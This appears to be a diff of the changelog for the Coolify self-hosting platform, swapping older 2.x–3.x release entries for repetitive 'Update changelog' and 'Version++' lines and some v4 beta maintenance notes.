+- Update changelog +- Update changelog +- Update changelog +- Update changelog +- Update changelog +- Update changelog +- Update changelog +- Update changelog +- Update changelog +- *(CONTRIBUTING)* Add note about Laravel Horizon accessibility +- Update changelog +- Update changelog +- Update changelog +- Update changelog +- Update changelog +- Update changelog +- Update changelog +- Update changelog +- Update changelog +- Update changelog +- Update changelog +- Update changelog +- Update changelog +- Update changelog +- Update changelog +- Update changelog +- Update changelog +- Update changelog +- Update changelog +- Update changelog +- Update changelog +- Update changelog +- Update changelog +- Update changelog +- Update changelog +- Update changelog +- Update changelog +- Update changelog +- Update changelog +- Update changelog +- Update changelog +- Update changelog +- Update changelog +- *(service)* Add new docs link for zipline (#5912) +- Update changelog +- Update changelog +- Update changelog +- Update changelog +- Update changelog +- Update changelog +- Update changelog +- Update changelog +- Update changelog +- Update changelog +- Update changelog +- *(claude)* Clarify that artisan commands should only be run inside the "coolify" container during development +- Add AGENTS.md for project guidance and development instructions +- Update changelog +- Update changelog +- Update changelog +- Update changelog +- Update changelog +- Update changelog +- Update changelog +- Update changelog +- Update changelog +- Update changelog +- Update changelog +- Update changelog +- Update changelog +- Update changelog + +### 🎨 Styling + +- Linting +- *(css)* Update padding utility for password input and add newline in app.css +- *(css)* Refine badge utility styles in utilities.css +- *(css)* Enhance badge utility styles in utilities.css ### 🧪 Testing - Native binary target - Dockerfile - -### ⚙️ Miscellaneous Tasks - -- Version++ - -## [3.8.9] - 2022-08-30 - -### 🐛 Bug Fixes - -- Oh god Prisma - -## [3.8.8] - 2022-08-30 - -### ⚙️ Miscellaneous Tasks - -- Version++ - -## [3.8.6] - 2022-08-30 - -### 🐛 Bug Fixes - -- Pr deployment -- CompareVersions -- Include -- Include -- Gitlab apps - -### 💼 Other - -- Fixes -- Route to the correct path when creating destination from db config - -### ⚙️ Miscellaneous Tasks - -- Version++ - -## [3.8.5] - 2022-08-27 - -### 🐛 Bug Fixes - -- Copy all files during install process -- Typo -- Process -- White labeled icon on navbar -- Whitelabeled icon -- Next/nuxt deployment type -- Again - -## [3.8.4] - 2022-08-27 - -### 🐛 Bug Fixes - -- UI thinkgs -- Delete team while it is active -- Team switching -- Queue cleanup -- Decrypt secrets -- Cleanup build cache as well -- Pr deployments + remove public gits - -### 💼 Other - -- Dashbord fixes -- Fixes - -### ⚙️ Miscellaneous Tasks - -- Version++ - -## [3.8.3] - 2022-08-26 - -### 🐛 Bug Fixes - -- Secrets decryption - -## [3.8.2] - 2022-08-26 - -### 🚀 Features - -- *(ui)* Rework home UI and with responsive design - -### 🐛 Bug Fixes - -- Never stop deplyo queue -- Build queue system -- High cpu usage -- Worker -- Better worker system - -### 💼 Other - -- Dashboard fine-tunes -- Fine-tune -- Fixes -- Fix - -### ⚙️ Miscellaneous Tasks - -- Version++ - -## [3.8.1] - 2022-08-24 - -### 🐛 Bug Fixes - -- Ui buttons -- Clear queue on cancelling jobs -- Cancelling jobs -- Dashboard for admins - -## [3.8.0] - 2022-08-23 - -### 🚀 Features - -- Searxng service - -### 🐛 Bug Fixes - -- Port checker -- Cancel build after 5 seconds -- ExposedPort checker -- Batch secret = -- Dashboard for non-root users -- Stream build logs -- Show build log start/end - -### ⚙️ Miscellaneous Tasks - -- Version++ - -## [3.7.0] - 2022-08-19 - -### 🚀 Features - -- Add GlitchTip service - -### 🐛 Bug Fixes - -- Missing commas -- ExposedPort is just optional - -### ⚙️ Miscellaneous Tasks - -- Add .pnpm-store in .gitignore -- Version++ - -## [3.6.0] - 2022-08-18 - -### 🚀 Features - -- Import public repos (wip) -- Public repo deployment -- Force rebuild + env.PORT for port + public repo build - -### 🐛 Bug Fixes - -- Bots without exposed ports - -### 💼 Other - -- Fixes here and there - -### ⚙️ Miscellaneous Tasks - -- Version++ - -## [3.5.2] - 2022-08-17 - -### 🐛 Bug Fixes - -- Restart containers on-failure instead of always -- Show that Ghost values could be changed - -### ⚙️ Miscellaneous Tasks - -- Version++ - -## [3.5.1] - 2022-08-17 - -### 🐛 Bug Fixes - -- Revert docker compose version to 2.6.1 -- Trim secrets - -### ⚙️ Miscellaneous Tasks - -- Version++ - -## [3.5.0] - 2022-08-17 - -### 🚀 Features - -- Deploy bots (no domains) -- Custom dns servers - -### 🐛 Bug Fixes - -- Dns button ui -- Bot deployments -- Bots -- AutoUpdater & cleanupStorage jobs - -### 💼 Other - -- Typing - -## [3.4.0] - 2022-08-16 - -### 🚀 Features - -- Appwrite service -- Heroku deployments - -### 🐛 Bug Fixes - -- Replace docker compose with docker-compose on CSB -- Dashboard ui -- Create coolify-infra, if it does not exists -- Gitpod conf and heroku buildpacks -- Appwrite -- Autoimport + readme -- Services import -- Heroku icon -- Heroku icon - -## [3.3.4] - 2022-08-15 - -### 🐛 Bug Fixes - -- Make it public button -- Loading indicator - -### ⚙️ Miscellaneous Tasks - -- Version++ - -## [3.3.3] - 2022-08-14 - -### 🐛 Bug Fixes - -- Decryption errors -- Postgresql on ARM - -## [3.3.2] - 2022-08-12 - -### 🐛 Bug Fixes - -- Debounce dashboard status requests - -### 💼 Other - -- Fider - -## [3.3.1] - 2022-08-12 - -### 🐛 Bug Fixes - -- Empty buildpack icons - -## [3.2.3] - 2022-08-12 - -### 🚀 Features - -- Databases on ARM -- Mongodb arm support -- New dashboard - -### 🐛 Bug Fixes - -- Cleanup stucked prisma-engines -- Toast -- Secrets -- Cleanup prisma engine if there is more than 1 -- !isARM to isARM -- Enterprise GH link - -### ⚙️ Miscellaneous Tasks - -- Version++ - -## [3.2.2] - 2022-08-11 - -### 🐛 Bug Fixes - -- Coolify-network on verification - -## [3.2.1] - 2022-08-11 - -### 🚀 Features - -- Init heroku buildpacks - -### 🐛 Bug Fixes - -- Follow/cancel buttons -- Only remove coolify managed containers -- White-labeled env -- Schema - -### 💼 Other - -- Fix - -### ⚙️ Miscellaneous Tasks - -- Version++ - -## [3.2.0] - 2022-08-11 - -### 🚀 Features - -- Persistent storage for all services -- Cleanup clickhouse db - -### 🐛 Bug Fixes - -- Rde local ports -- Empty remote destinations could be removed -- Tips -- Lowercase issues fider -- Tooltip colors -- Update clickhouse configuration -- Cleanup command -- Enterprise Github instance endpoint - -### 💼 Other - -- Local ssh port -- Redesign a lot -- Fixes -- Loading indicator for plausible buttons - -## [3.1.4] - 2022-08-01 - -### 🚀 Features - -- Moodle init -- Remote docker engine init -- Working on remote docker engine -- Rde -- Remote docker engine -- Ipv4 and ipv6 -- Contributors -- Add arch to database -- Stop preview deployment - -### 🐛 Bug Fixes - -- Settings from api -- Selectable destinations -- Gitpod hardcodes -- Typo -- Typo -- Expose port checker -- States and exposed ports -- CleanupStorage -- Remote traefik webhook -- Remote engine ip address -- RemoteipAddress -- Explanation for remote engine url -- Tcp proxy -- Lol -- Webhook -- Dns check for rde -- Gitpod -- Revert last commit -- Dns check -- Dns checker -- Webhook -- Df and more debug -- Webhooks -- Load previews async -- Destination icon -- Pr webhook -- Cache image -- No ssh key found -- Prisma migration + update of docker and stuffs -- Ui -- Ui -- Only 1 ssh-agent is needed -- Reuse ssh connection -- Ssh tunnel -- Dns checking -- Fider BASE_URL set correctly - -### 💼 Other - -- Error message https://github.com/coollabsio/coolify/issues/502 -- Changes -- Settings -- For removing app - -### ⚙️ Miscellaneous Tasks - -- Version++ - -## [3.1.3] - 2022-07-18 - -### 🚀 Features - -- Init moodle and separate stuffs to shared package - -### 🐛 Bug Fixes - -- More types for API -- More types -- Do not rebuild in case image exists and sha not changed -- Gitpod urls -- Remove new service start process -- Remove shared dir, deployment does not work -- Gitlab custom url -- Location url for services and apps - -## [3.1.2] - 2022-07-14 - -### 🐛 Bug Fixes - -- Admin password reset should not timeout -- Message for double branches -- Turn off autodeploy if double branch is configured - -### ⚙️ Miscellaneous Tasks - -- Version++ - -## [3.1.1] - 2022-07-13 - -### 🚀 Features - -- Gitpod integration - -### 🐛 Bug Fixes - -- Cleanup less often and can do it manually - -### ⚙️ Miscellaneous Tasks - -- Version++ -- Version++ - -## [3.1.0] - 2022-07-12 - -### 🚀 Features - -- Ability to change deployment type for nextjs -- Ability to change deployment type for nuxtjs -- Gitpod ready code(almost) -- Add Docker buildpack exposed port setting -- Custom port for git instances - -### 🐛 Bug Fixes - -- GitLab pagination load data -- Service domain checker -- Wp missing ftp solution -- Ftp WP issues -- Ftp?! -- Gitpod updates -- Gitpod -- Gitpod -- Wordpress FTP permission issues -- GitLab search fields -- GitHub App button -- GitLab loop on misconfigured source -- Gitpod - -### ⚙️ Miscellaneous Tasks - -- Version++ - -## [3.0.3] - 2022-07-06 - -### 🐛 Bug Fixes - -- Domain check -- Domain check -- TrustProxy for Fastify -- Hostname issue - -## [3.0.2] - 2022-07-06 - -### 🐛 Bug Fixes - -- New destination can be created -- Include post -- New destinations - -## [3.0.1] - 2022-07-06 - -### 🐛 Bug Fixes - -- Seeding -- Forgot that the version bump changed 😅 - -### ⚙️ Miscellaneous Tasks - -- Version++ - -## [2.9.11] - 2022-06-20 - -### 🐛 Bug Fixes - -- Be able to change database + service versions -- Lock file - -## [2.9.10] - 2022-06-17 - -### ⚙️ Miscellaneous Tasks - -- Version++ - -## [2.9.9] - 2022-06-10 - -### 🐛 Bug Fixes - -- Host and reload for uvicorn -- Remove package-lock - -### ⚙️ Miscellaneous Tasks - -- Version++ - -## [2.9.8] - 2022-06-10 - -### 🐛 Bug Fixes - -- Persistent nocodb -- Nocodb persistency - -### ⚙️ Miscellaneous Tasks - -- Version++ - -## [2.9.7] - 2022-06-09 - -### 🐛 Bug Fixes - -- Plausible custom script -- Plausible script and middlewares -- Remove console log -- Remove comments -- Traefik middleware - -### ⚙️ Miscellaneous Tasks - -- Version++ - -## [2.9.6] - 2022-06-02 - -### 🐛 Bug Fixes - -- Fider changed an env variable name -- Pnpm command - -### ⚙️ Miscellaneous Tasks - -- Version++ - -## [2.9.5] - 2022-06-02 - -### 🐛 Bug Fixes - -- Proxy stop missing argument - -### ⚙️ Miscellaneous Tasks - -- Version++ - -## [2.9.4] - 2022-06-01 - -### 🐛 Bug Fixes - -- Demo version forms -- Typo -- Revert gh and gl cloning - -### ⚙️ Miscellaneous Tasks - -- Version++ - -## [2.9.3] - 2022-05-31 - -### 🐛 Bug Fixes - -- Recurisve clone instead of submodule -- Versions -- Only reconfigure coolify proxy if its missconfigured - -### ⚙️ Miscellaneous Tasks - -- Version++ - -## [2.9.2] - 2022-05-31 - -### 🐛 Bug Fixes - -- TrustProxy -- Force restart proxy -- Only restart coolify proxy in case of version prior to 2.9.2 -- Force restart proxy on seeding -- Add GIT ENV variable for submodules - -### ⚙️ Miscellaneous Tasks - -- Version++ - -## [2.9.1] - 2022-05-31 - -### 🐛 Bug Fixes - -- GitHub fixes - -### ⚙️ Miscellaneous Tasks - -- Version++ - -## [2.9.0] - 2022-05-31 - -### 🚀 Features - -- PageLoader -- Database + service usage - -### 🐛 Bug Fixes - -- Service checks -- Remove console.log -- Traefik -- Remove debug things -- WIP Traefik -- Proxy for http -- PR deployments view -- Minio urls + domain checks -- Remove gh token on git source changes -- Do not fetch app state in case of missconfiguration -- Demo instance save domain instantly -- Instant save on demo instance -- New source canceled view -- Lint errors in database services -- Otherfqdns -- Host key verification -- Ftp connection - -### 💼 Other - -- Appwrite -- Testing WS -- Traefik?! -- Traefik -- Traefik -- Traefik migration -- Traefik -- Traefik -- Traefik -- Notifications and application usage -- *(fix)* Traefik -- Css - -### ⚙️ Miscellaneous Tasks - -- Version++ - -## [2.8.2] - 2022-05-16 - -### 🐛 Bug Fixes - -- Gastby buildpack - -### ⚙️ Miscellaneous Tasks - -- Version++ - -## [2.8.1] - 2022-05-10 - -### 🐛 Bug Fixes - -- WP custom db -- UI - -## [2.6.1] - 2022-05-03 - -### 🚀 Features - -- Basic server usage on dashboard -- Show usage trends -- Usage on dashboard -- Custom script path for Plausible -- WP could have custom db -- Python image selection - -### 🐛 Bug Fixes - -- ExposedPorts -- Logos for dbs -- Do not run SSL renew in development -- Check domain for coolify before saving -- Remove debug info -- Cancel jobs -- Cancel old builds in database -- Better DNS check to prevent errors -- Check DNS in prod only -- DNS check -- Disable sentry for now -- Cancel -- Sentry -- No image for Docker buildpack -- Default packagemanager -- Server usage only shown for root team -- Expose ports for services -- UI -- Navbar UI -- UI -- UI -- Remove RC python -- UI -- UI -- UI -- Default Python package - -### ⚙️ Miscellaneous Tasks - -- Version++ -- Version++ -- Version++ -- Version++ - -## [2.6.0] - 2022-05-02 - -### 🚀 Features - -- Hasura as a service -- Gzip compression -- Laravel buildpack is working! -- Laravel -- Fider service -- Database and services logs -- DNS check settings for SSL generation -- Cancel builds! - -### 🐛 Bug Fixes - -- Unami svg size -- Team switching moved to IAM menu -- Always use IP address for webhooks -- Remove unnecessary test endpoint -- UI -- Migration -- Fider envs -- Checking low disk space -- Build image -- Update autoupdate env variable -- Renew certificates -- Webhook build images -- Missing node versions - -### 💼 Other - -- Laravel - -## [2.4.11] - 2022-04-20 - -### 🚀 Features - -- Deno DB migration -- Show exited containers on UI & better UX -- Query container state periodically -- Install svelte-18n and init setup -- Umami service -- Coolify auto-updater -- Autoupdater -- Select base image for buildpacks - -### 🐛 Bug Fixes - -- Deno configurations -- Text on deno buildpack -- Correct branch shown in build logs -- Vscode permission fix -- I18n -- Locales -- Application logs is not reversed and queried better -- Do not activate i18n for now -- GitHub token cleanup on team switch -- No logs found -- Code cleanups -- Reactivate posgtres password -- Contribution guide -- Simplify list services -- Contribution -- Contribution guide -- Contribution guide -- Packagemanager finder - -### 💼 Other - -- Umami service -- Base image selector - -### 📚 Documentation - -- How to add new services -- Update -- Update - -### ⚙️ Miscellaneous Tasks - -- Version++ -- Version++ -- Version++ - -## [2.4.10] - 2022-04-17 - -### 🚀 Features - -- Add persistent storage for services -- Multiply dockerfile locations for docker buildpack -- Testing fluentd logging driver -- Fluentbit investigation -- Initial deno support - -### 🐛 Bug Fixes - -- Switch from bitnami/redis to normal redis -- Use redis-alpine -- Wordpress extra config -- Stop sFTP connection on wp stop -- Change user's id in sftp wp instance -- Use arm based certbot on arm -- Buildlog line number is not string -- Application logs paginated -- Switch to stream on applications logs -- Scroll to top for logs -- Pull new images for services all the time it's started. -- White-labeled custom logo -- Application logs - -### 💼 Other - -- Show extraconfig if wp is running - -### ⚙️ Miscellaneous Tasks - -- Version++ -- Version++ - -## [2.4.9] - 2022-04-14 - -### 🐛 Bug Fixes - -- Postgres root pw is pw field -- Teams view -- Improved tcp proxy monitoring for databases/ftp -- Add HTTP proxy checks -- Loading of new destinations -- Better performance for cleanup images -- Remove proxy container in case of dependent container is down -- Restart local docker coolify proxy in case of something happens to it -- Id of service container - -### ⚙️ Miscellaneous Tasks - -- Version++ - -## [2.4.8] - 2022-04-13 - -### 🐛 Bug Fixes - -- Register should happen if coolify proxy cannot be started -- GitLab typo -- Remove system wide pw reset - -### ⚙️ Miscellaneous Tasks - -- Version++ - -## [2.4.7] - 2022-04-13 - -### 🐛 Bug Fixes - -- Destinations to HAProxy - -### ⚙️ Miscellaneous Tasks - -- Version++ - -## [2.4.6] - 2022-04-13 - -### 🐛 Bug Fixes - -- Cleanup images older than a day -- Meilisearch service -- Load all branches, not just the first 30 -- ProjectID for Github -- DNS check before creating SSL cert -- Try catch me -- Restart policy for resources -- No permission on first registration -- Reverting postgres password for now - -### ⚙️ Miscellaneous Tasks - -- Version++ - -## [2.4.5] - 2022-04-12 - -### 🐛 Bug Fixes - -- Types -- Invitations -- Timeout values - -### ⚙️ Miscellaneous Tasks - -- Version++ - -## [2.4.4] - 2022-04-12 - -### 🐛 Bug Fixes - -- Haproxy build stuffs -- Proxy - -### ⚙️ Miscellaneous Tasks - -- Version++ - -## [2.4.3] - 2022-04-12 - -### 🐛 Bug Fixes - -- Remove unnecessary save button haha -- Update dockerfile - -### ⚙️ Miscellaneous Tasks - -- Update packages -- Version++ -- Update build scripts -- Update build packages - -## [2.4.2] - 2022-04-09 - -### 🐛 Bug Fixes - -- Missing install repositories GitHub -- Return own and other sources better -- Show config missing on sources - -### ⚙️ Miscellaneous Tasks - -- Version++ - -## [2.4.1] - 2022-04-09 - -### 🐛 Bug Fixes - -- Enable https for Ghost -- Postgres root passwor shown and set -- Able to change postgres user password from ui -- DB Connecting string generator - -### ⚙️ Miscellaneous Tasks - -- Version++ - -## [2.4.0] - 2022-04-08 - -### 🚀 Features - -- Wordpress on-demand SFTP -- Finalize on-demand sftp for wp -- PHP Composer support -- Working on-demand sftp to wp data -- Admin team sees everything -- Able to change service version/tag -- Basic white labeled version -- Able to modify database passwords - -### 🐛 Bug Fixes - -- Add openssl to image -- Permission issues -- On-demand sFTP for wp -- Fix for fix haha -- Do not pull latest image -- Updated db versions -- Only show proxy for admin team -- Team view for root team -- Do not trigger >1 webhooks on GitLab -- Possible fix for spikes in CPU usage -- Last commit -- Www or not-www, that's the question -- Fix for the fix that fixes the fix -- Ton of updates for users/teams -- Small typo -- Unique storage paths -- Self-hosted GitLab URL -- No line during buildLog -- Html/apiUrls cannot end with / -- Typo -- Missing buildpack - -### 💼 Other - -- Fix -- Better layout for root team -- Fix -- Fixes -- Fix -- Fix -- Fix -- Fix -- Fix -- Fix -- Fix -- Insane amount -- Fix -- Fixes -- Fixes -- Fix -- Fixes -- Fixes - -### 📚 Documentation - -- Contribution guide - -### ⚙️ Miscellaneous Tasks - -- Version++ - -## [2.3.3] - 2022-04-05 - -### 🐛 Bug Fixes - -- Add git lfs while deploying -- Try to update build status several times -- Update stucked builds -- Update stucked builds on startup -- Revert seed -- Lame fixing -- Remove asyncUntil - -### ⚙️ Miscellaneous Tasks - -- Version++ - -## [2.3.2] - 2022-04-04 - -### 🐛 Bug Fixes - -- *(php)* If .htaccess file found use apache -- Add default webhook domain for n8n - -### ⚙️ Miscellaneous Tasks - -- Version++ - -## [2.3.1] - 2022-04-04 - -### 🐛 Bug Fixes - -- Secrets build/runtime coudl be changed after save -- Default configuration - -### ⚙️ Miscellaneous Tasks - -- Version++ - -## [2.3.0] - 2022-04-04 - -### 🚀 Features - -- Initial python support -- Add loading on register button -- *(dev)* Allow windows users to use pnpm dev -- MeiliSearch service -- Add abilitry to paste env files - -### 🐛 Bug Fixes - -- Ignore coolify proxy error for now -- Python no wsgi -- If user not found -- Rename envs to secrets -- Infinite loop on www domains -- No need to paste clear text env for previews -- Build log fix attempt #1 -- Small UI fix on logs -- Lets await! -- Async progress -- Remove console.log -- Build log -- UI -- Gitlab & Github urls - -### 💼 Other - -- Improvements - -### ⚙️ Miscellaneous Tasks - -- Version++ -- Version++ -- Lock file + fix packages - -## [2.2.7] - 2022-04-01 - -### 🐛 Bug Fixes - -- Haproxy errors -- Build variables -- Use NodeJS for sveltekit for now - -## [2.2.6] - 2022-03-31 - -### 🐛 Bug Fixes - -- Add PROTO headers - -## [2.2.5] - 2022-03-31 - -### 🐛 Bug Fixes - -- Registration enabled/disabled - -### ⚙️ Miscellaneous Tasks - -- Version++ - -## [2.2.4] - 2022-03-31 - -### 🐛 Bug Fixes - -- Gitlab repo url -- No need to dashify anymore - -### ⚙️ Miscellaneous Tasks - -- Version++ - -## [2.2.3] - 2022-03-31 - -### 🐛 Bug Fixes - -- List ghost services -- Reload window on settings saved -- Persistent storage on webhooks -- Add license -- Space in repo names - -### ⚙️ Miscellaneous Tasks - -- Version++ -- Version++ -- Version++ -- Fixed typo on New Git Source view - -## [2.2.0] - 2022-03-27 - -### 🚀 Features - -- Add n8n.io service -- Add update kuma service -- Ghost service - -### 🐛 Bug Fixes - -- Ghost logo size -- Ghost icon, remove console.log - -### 💼 Other - -- Colors on svelte-select - -### ⚙️ Miscellaneous Tasks - -- Version ++ - -## [2.1.1] - 2022-03-25 - -### 🐛 Bug Fixes - -- Cleanup only 2 hours+ old images - -### ⚙️ Miscellaneous Tasks - -- Version++ - -## [2.1.0] - 2022-03-23 - -### 🚀 Features - -- Use compose instead of normal docker cmd -- Be able to redeploy PRs - -### 🐛 Bug Fixes - -- Skip ssl cert in case of error -- Volumes - -### ⚙️ Miscellaneous Tasks - -- Version++ - -## [2.0.31] - 2022-03-20 - -### 🚀 Features - -- Add PHP modules - -### 🐛 Bug Fixes - -- Cleanup old builds -- Only cleanup same app -- Add nginx + htaccess files - -### ⚙️ Miscellaneous Tasks - -- Version++ - -## [2.0.30] - 2022-03-19 - -### 🐛 Bug Fixes - -- No cookie found -- Missing session data -- No error if GitSource is missing -- No webhook secret found? -- Basedir for dockerfiles -- Better queue system + more support on monorepos -- Remove build logs in case of app removed - -### ⚙️ Miscellaneous Tasks - -- Version++ - -## [2.0.29] - 2022-03-11 - -### 🚀 Features - -- Webhooks inititate all applications with the correct branch -- Check ssl for new apps/services first -- Autodeploy pause -- Install pnpm into docker image if pnpm lock file is used - -### 🐛 Bug Fixes - -- Personal Gitlab repos -- Autodeploy true by default for GH repos - -### ⚙️ Miscellaneous Tasks - -- Version++ - -## [2.0.28] - 2022-03-04 - -### 🚀 Features - -- Service secrets - -### 🐛 Bug Fixes - -- Do not error if proxy is not running - -### ⚙️ Miscellaneous Tasks - -- Version++ - -## [2.0.27] - 2022-03-02 - -### 🚀 Features - -- Send version with update request - -### 🐛 Bug Fixes - -- Check when a container is running -- Reload haproxy if new cert is added -- Cleanup coolify images -- Application state in UI - -### ⚙️ Miscellaneous Tasks - -- Version++ - -## [2.0.26] - 2022-03-02 - -### 🐛 Bug Fixes - -- Update process - -## [2.0.25] - 2022-03-02 - -### 🚀 Features - -- Languagetool service - -### 🐛 Bug Fixes - -- Reload proxy on ssl cert -- Volume name - -### ⚙️ Miscellaneous Tasks - -- Version++ - -## [2.0.24] - 2022-03-02 - -### 🐛 Bug Fixes - -- Better proxy check -- Ssl + sslrenew -- Null proxyhash on restart -- Reconfigure proxy on restart -- Update process - -## [2.0.23] - 2022-02-28 - -### 🐛 Bug Fixes - -- Be sure .env exists -- Missing fqdn for services -- Default npm command -- Add coolify-image label for build images -- Cleanup old images, > 3 days - -### 💼 Other - -- Colorful states -- Application start - -### ⚙️ Miscellaneous Tasks - -- Version++ - -## [2.0.22] - 2022-02-27 - -### 🐛 Bug Fixes - -- Coolify image pulls -- Remove wrong/stuck proxy configurations -- Always use a buildpack -- Add icons for eleventy + astro -- Fix proxy every 10 secs -- Do not remove coolify proxy -- Update version - -### 💼 Other - -- Remote docker engine - -### ⚙️ Miscellaneous Tasks - -- Version++ - -## [2.0.21] - 2022-02-24 - -### 🚀 Features - -- Random subdomain for demo -- Random domain for services -- Astro buildpack -- 11ty buildpack -- Registration page - -### 🐛 Bug Fixes - -- Http for demo, oops -- Docker scanner -- Improvement on image pulls - -### ⚙️ Miscellaneous Tasks - -- Version++ - -## [2.0.20] - 2022-02-23 - -### 🐛 Bug Fixes - -- Revert default network - -### 💼 Other - -- Dns check - -### ⚙️ Miscellaneous Tasks - -- Version++ - -## [2.0.19] - 2022-02-23 - -### 🐛 Bug Fixes - -- Random network name for demo -- Settings fqdn grr - -## [2.0.18] - 2022-02-22 - -### 🚀 Features - -- Ports range - -### 🐛 Bug Fixes - -- Email is lowercased in login -- Lowercase email everywhere -- Use normal docker-compose in dev - -### 💼 Other - -- Make copy/password visible - -### ⚙️ Miscellaneous Tasks - -- Version++ - -## [2.0.17] - 2022-02-21 - -### 🐛 Bug Fixes - -- Move tokens from session to cookie/store - -### ⚙️ Miscellaneous Tasks - -- Version++ - -## [2.0.14] - 2022-02-18 - -### 🚀 Features - -- Basic password reset form -- Scan for lock files and set right commands -- Public port range (WIP) - -### 🐛 Bug Fixes - -- SSL app off -- Local docker host -- Typo -- Lets encrypt -- Remove SSL with stop -- SSL off for services -- Grr -- Running state css -- Minor fixes -- Remove force SSL when doing let's encrypt request -- GhToken in session now -- Random port for certbot -- Follow icon -- Plausible volume fixed -- Database connection strings -- Gitlab webhooks fixed -- If DNS not found, do not redirect -- Github token - -### ⚙️ Miscellaneous Tasks - -- Version++ -- Version ++ - -## [2.0.13] - 2022-02-17 - -### 🐛 Bug Fixes - -- Login issues - -## [2.0.11] - 2022-02-15 - -### 🚀 Features - -- Follow logs -- Generate www & non-www SSL certs - -### 🐛 Bug Fixes - -- Window error in SSR -- GitHub sync PR's -- Load more button -- Small fixes -- Typo -- Error with follow logs -- IsDomainConfigured -- TransactionIds -- Coolify image cleanup -- Cleanup every 10 mins -- Cleanup images -- Add no user redis to uri -- Secure cookie disabled by default -- Buggy svelte-kit-cookie-session - -### 💼 Other - -- Only allow cleanup in production - -### ⚙️ Miscellaneous Tasks - -- Version++ -- Version++ - -## [2.0.10] - 2022-02-15 - -### 🐛 Bug Fixes - -- Typo -- Error handling -- Stopping service without proxy -- Coolify proxy start - -### ⚙️ Miscellaneous Tasks - -- Version++ - -## [2.0.8] - 2022-02-14 - -### 🐛 Bug Fixes - -- Validate secrets -- Truncate git clone errors -- Branch used does not throw error - -## [2.0.7] - 2022-02-13 - -### 🚀 Features - -- Www <-> non-www redirection for apps -- Www <-> non-www redirection - -### 🐛 Bug Fixes - -- Package.json -- Build secrets should be visible in runtime -- New secret should have default values - -## [2.0.5] - 2022-02-11 - -### 🚀 Features - -- VaultWarden service - -### 🐛 Bug Fixes - -- PreventDefault on a button, thats all -- Haproxy check should not throw error -- Delete all build files -- Cleanup images -- More error handling in proxy configuration + cleanups -- Local static assets -- Check sentry -- Typo - -### ⚙️ Miscellaneous Tasks - -- Version -- Version - -## [2.0.4] - 2022-02-11 - -### 🚀 Features - -- Use tags in update -- New update process (#115) - -### 🐛 Bug Fixes - -- Docker Engine bug related to live-restore and IPs -- Version - -## [2.0.3] - 2022-02-10 - -### 🐛 Bug Fixes - -- Capture non-error as error -- Only delete id.rsa in case of it exists -- Status is not available yet +- Remove prisma +- More tests +- Setup database for upcoming tests ### ⚙️ Miscellaneous Tasks - Version bump +- Version +- Version +- Version++ +- Version++ +- Version++ +- Version++ +- Version ++ +- Version++ +- Version++ +- Version++ +- Version++ +- Version++ +- Version++ +- Version++ +- Version++ +- Version++ +- Version++ +- Version++ +- Version++ +- Version++ +- Version++ +- Version ++ +- Version++ +- Version++ +- Version++ +- Fixed typo on New Git Source view +- Version++ +- Version++ +- Version++ +- Version++ +- Lock file + fix packages +- Version++ +- Version++ +- Version++ +- Version++ +- Version++ +- Version++ +- Update packages +- Version++ +- Update build scripts +- Update build packages +- Version++ +- Version++ +- Version++ +- Version++ +- Version++ +- Version++ +- Version++ +- Version++ +- Version++ +- Version++ +- Version++ +- Version++ +- Version++ +- Version++ +- Version++ +- Version++ +- Version++ +- Version++ +- Version++ +- Version++ +- Version++ +- Version++ +- Version++ +- Version++ +- Version++ +- Version++ +- Version++ +- Version++ +- Version++ +- Version++ +- Version++ +- Version++ +- Version++ +- Version++ +- Version++ +- Version++ +- Version++ +- Version++ +- Version++ +- Add .pnpm-store in .gitignore +- Version++ +- Version++ +- Version++ +- Version++ +- Version++ +- Version++ +- Version++ +- Version++ +- Version++ +- Version++ +- Version++ +- Version++ +- Version++ +- Minor changes +- Minor changes +- Minor changes +- Whoops +- Version++ +- Version++ +- Version++ +- Version++ +- Version++ +- Version++ +- Version++ +- Update staging release +- Version++ +- Version++ +- Add jda icon for lavalink service +- Version++ +- Version++ +- Version++ +- Version++ +- Version++ +- Version++ +- Version++ +- Version++ +- Update version to 4.0.0-beta.275 +- Update DNS server validation helper text +- Dark mode should be the default +- Improve menu item styling and spacing in service configuration and index views +- Improve menu item styling and spacing in service configuration and index views +- Improve menu item styling and spacing in project index and show views +- Remove docker compose versions +- Add Listmonk service template and logo +- Refactor GetContainersStatus.php for improved readability and maintainability +- Refactor ApplicationDeploymentJob.php for improved readability and maintainability +- Add metrics and logs directories to installation script +- Update sentinel version to 0.0.2 in versions.json +- Update permissions on metrics and logs directories +- Comment out server sentinel check in ServerStatusJob +- Update version numbers to 4.0.0-beta.278 +- Update hover behavior and cursor style in scheduled task executions view +- Refactor scheduled task view to improve code readability and maintainability +- Skip scheduled tasks if application or service is not running +- Remove debug logging statements in Kernel.php +- Handle invalid cron strings in Kernel.php +- Refactor Service.php to handle missing admin user in extraFields() method +- Update twenty CRM template with environment variables and dependencies +- Refactor applications.php to remove unused imports and improve code readability +- Refactor deployment index.blade.php for improved readability and rollback handling +- Refactor GitHub app selection UI in project creation form +- Update ServerLimitCheckJob.php to handle missing serverLimit value +- Remove unnecessary code for saving commit message +- Update DOCKER_VERSION to 26.0 in install.sh script +- Update Docker and Docker Compose versions in Dockerfiles +- Update version numbers to 4.0.0-beta.279 +- Limit commit message length to 50 characters in ApplicationDeploymentJob +- Update version to 4.0.0-beta.283 +- Change pre and post deployment command length in applications table +- Refactor container name logic in GetContainersStatus.php and ForcePasswordReset.php +- Remove unnecessary content from Docker Compose file +- Update Sentry release version to 4.0.0-beta.287 +- Add Thompson Edolo as a sponsor +- Add null checks for team in Stripe webhook +- Update Sentry release version to 4.0.0-beta.288 +- Update for version 289 +- Fix formatting issue in deployment index.blade.php file +- Remove unnecessary wire:navigate attribute in breadcrumbs.blade.php +- Rename docker dirs +- Update laravel/socialite to version v5.14.0 and livewire/livewire to version 3.4.9 +- Update modal styles for better user experience +- Update deployment index.blade.php script for better performance +- Update version numbers to 4.0.0-beta.290 +- Update version numbers to 4.0.0-beta.291 +- Update version numbers to 4.0.0-beta.292 +- Update version numbers to 4.0.0-beta.293 +- Add upgrade guide link to upgrade.blade.php +- Improve upgrade.blade.php with clearer instructions and formatting +- Update version numbers to 4.0.0-beta.294 +- Add Lightspeed.run as a sponsor +- Update Dockerfile to install vim +- Update Dockerfile with latest versions of Docker, Docker Compose, Docker Buildx, Pack, and Nixpacks +- Update version numbers to 4.0.0-beta.295 +- Update supported OS list with almalinux +- Update install.sh to support PopOS +- Update install.sh script to version 1.3.2 and handle Linux Mint as Ubuntu +- Update page title in resource index view +- Update logo 